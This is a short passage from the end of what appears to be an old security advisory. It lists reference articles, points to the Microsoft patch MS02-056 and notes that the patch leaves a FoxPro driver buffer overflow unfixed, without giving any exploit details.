(http://www.dtmf.com.ar/texts/nt-bofstf.txt) A must read!
4. SQL Injection Walkthrough (http://www.scan-
associates.net/papers/sql_injection_Walkthrough.txt) Another article by me.

10.0 Patch

Patch available at
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-
056.asp
However this patch does not solve the buffer overflow in FoxPro driver. It will
only limit
the access of the driver for SA alone.

© Feel free to use/distribute at your own risk as long as proper credits are
included.

S-ar putea să vă placă și